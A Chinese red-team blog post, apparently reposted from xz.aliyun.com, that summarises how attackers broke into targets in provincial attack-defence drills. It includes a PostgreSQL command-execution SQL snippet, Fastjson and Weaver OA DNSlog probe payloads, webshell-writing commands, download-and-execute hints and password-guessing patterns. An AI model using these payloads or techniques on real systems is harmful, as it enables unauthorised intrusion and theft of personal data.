红队|攻防演练中攻击方的思路总结
2023-2-20 08:11:12 Author: 系统安全运维(查看原文) 阅读量:38 收藏

前言

在本篇文防演练中攻击方是如何打开缺口的方法的总结。

本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告)思路朴素不包含钓鱼和叼炸天的0day

突破入口点方法统计图:

攻防演练中得分项只关注两点,权限&数据权限类型分为系统权限和应用权限,权限高低又分为管理员权限和普通用户权限。

数据一般是要四件套,姓名,手机号,身份证,住址。

通常敏感数据这样定义,不过看当前的应用可能敏感信息的定义又会不同,比如医院系统,病例信息就算是敏感数据。

根据上述统计结果由高到低选取部分得分方法进行说明。

弱口令[web应用]

弱口令是永远修复不了的漏洞,每场攻防演练都会有弱口令撕开的口子(出现次数29)

这里讨论的是一些web应用的弱口令,不包括统计结果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令。

说起弱口令那就不得不提爆破的技巧了。

爆破前应想办法绕过验证码,部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。

通常在忘记密码处可能会存在用户名枚举漏洞。

对于用户名字典,根据当前的系统可猜测为姓名简称或是工号ID。

也可翻阅当前登录框的JS正则或是Google信息搜索进行合理猜测。

在有大量用户基数的情况下,通常固定弱口令遍历用户名效果最佳。

在多次通过SQL注入获取登录后台密码md5解密后的情况来看,管理员以域名简称或是系统简称[email protected]年份出现,或是相关的简称的密码概率不小。

如:某消防系统/bjtuxfk[xxxx消防科],某妇联后台/[email protected]

好用的字典
https://github.com/fuzz-security/SuperWordlist
https://github.com/gh0stkey/Web-Fuzzing-Box

弱口令[其他]

数据库弱口令只遇见了PostgreSQL/Redis,其它未遇见可能那些常见使用的数据库经常使用,剩下的可能连运维都不知道这开着的。

PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

Redis

连上先info查看Server信息[redis版本和OS信息]:

Redis 4.x/5.x RCE

https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

Linux

写计划任务,写公钥,写webshell[知道web路径]

Windows

写启动项,写webshell[知道web路径]

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
https://github.com/r35tart/RedisWriteFile

windows说实话没遇到过,权限够了,先写启动项,再想办法给它干重启[YY的没打过QAQ]

这两篇windows&redis蛮细的:

https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940

VPN弱口令

如果是WebVPN的话,用户基数大,可以固定弱口令按照学号工号ID爆破。案例中的VPN弱口令是一个客户端,需要下载,密码不像是试出来的,更像是从Google/Git信息泄露,或是知道该员工的手机号扔进裤子里,根据里面的信息拼凑出来的[个人猜测]。

Jenkins弱口令

后台脚本命令行可执行命令,LOLBAS下载执行没啥说的。

Adminer弱口令

mysql写webshell也没啥说的。

shiro反序列化

shiro永远的神!没有shiro我都不知道怎么日站了(出现次数28)

这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首,无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。

专找目标的shiro也很简单,目标发散到域名发散到子域名发散到IP到全端口,将这些URL导入shiro识别工具。

再跑key,再利用。

统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集,其中有一个shiro在微信公众号中找到的。


好用的tools:

https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack

任意文件上传[通用]

朴实无华(出现次数10)

一般情况下拿shell最快的方法就是找上传,我们应该快速验证上传是否是基于后端的白名单校验。

如果是后端的白名单校验,在没有解析漏洞或是其它漏洞的组合下,我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时,上传的文件内容最好是无害的,否则可能会WAF干扰。

我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz,雷声大雨点小。


值得一提的是在统计的10次上传中,有一次在微信小程序,有一个swagger信息泄露upload接口,有一次在某银行的在线聊天系统,点击人工时,会出现传图片的按钮。


客服系统:

还有一个案例:


进入后台通过Kindeditor文件上传,又通过XXXX进行文件管理,有重命名功能,改为.php。getshell。


文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性,下面提供几个畸形数据包:

Fastjson反序列化

也好用(出现次数6)

判断是否为fastjson:报错抛出异常或是DNSlog

{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}

遇见WAF:


hex编码或是\b:


详见:

https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568

好用的tools:

https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit

敏感信息泄露

苍蝇再小也是肉(出现次数5)

医院啊,这个比较多遇见的案例都是微信公众号或是小程序,遍历病例数据:

还遇见了swagger信息泄露构造接口查询:

UEditor1.4.3任意文件上传

出其不意(出现次数5)

当遇见.NET的网站时,右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png,就可以判断该站点使用了UEditor[直接目录扫描工具扫也行],就需要我们拼接出路径~/net/controller.ashx

~前面可能不太固定需要自己在JS里找信息,或是合理猜测。


提一嘴,之前遇见个站点
.png?.aspx,站点返回了404,可以直接.png.aspx同时UEditor有过滤?的特性,在有WAF的时候可酌情使用。

MSSQL堆叠注入

基操

--os-shell后,得到一个命令行,一般是certutil下载执行或是powershell直接上线。也可写入webshell:

找静态资源定位物理路径
for /r C:\ %i in (*xxx*) do @echo %i
dir /s/a-d/b C:\*xxx.xxx
echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt
<>注意使用^转义

OA系统

没啥说的,有0day砸0day

泛*OA,致*OA,通*OA,用*NC

github搜搜搜,内部自己有积累未批露利用点最好。

泛*OA的两个案例用的WorkflowServiceXml反序列化比较丝滑。

判断是否可利用:

POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

杂七杂八

SQL注入获取敏感数据感觉没啥提的,记得sqlmap加上参数random-agent。


S2在外网见的少了,也不知道大佬咋翻墙进去的。


历史遗留后门404.jsp成了入口点也是离谱。


各种debug信息泄露云key导入行云管家证明权限就OK。


已经语无伦次了......

闲言闲语

柿子捡软的捏

web打点本就是个效率活,打得就是软柿子,不要给你一个站点测了半天到最后才发现:咦这里有个上传/shiro/fastjson....这就耽误功夫了,要带着目的性,尽量减少试错的过程,少做无用功。

作者:先知-17岁的one

原文地址:https://xz.aliyun.com/t/10400

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器
欢迎关注 系统安全运维

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247516744&idx=1&sn=f35f0e6b42832e1a3a2e1fdb42195b24&chksm=c3085138f47fd82e8ae6a003c16cb4c4481c2f4879026b71889e677c6418f33a1caeab576ea8#rd
如有侵权请联系:admin#unsafe.sh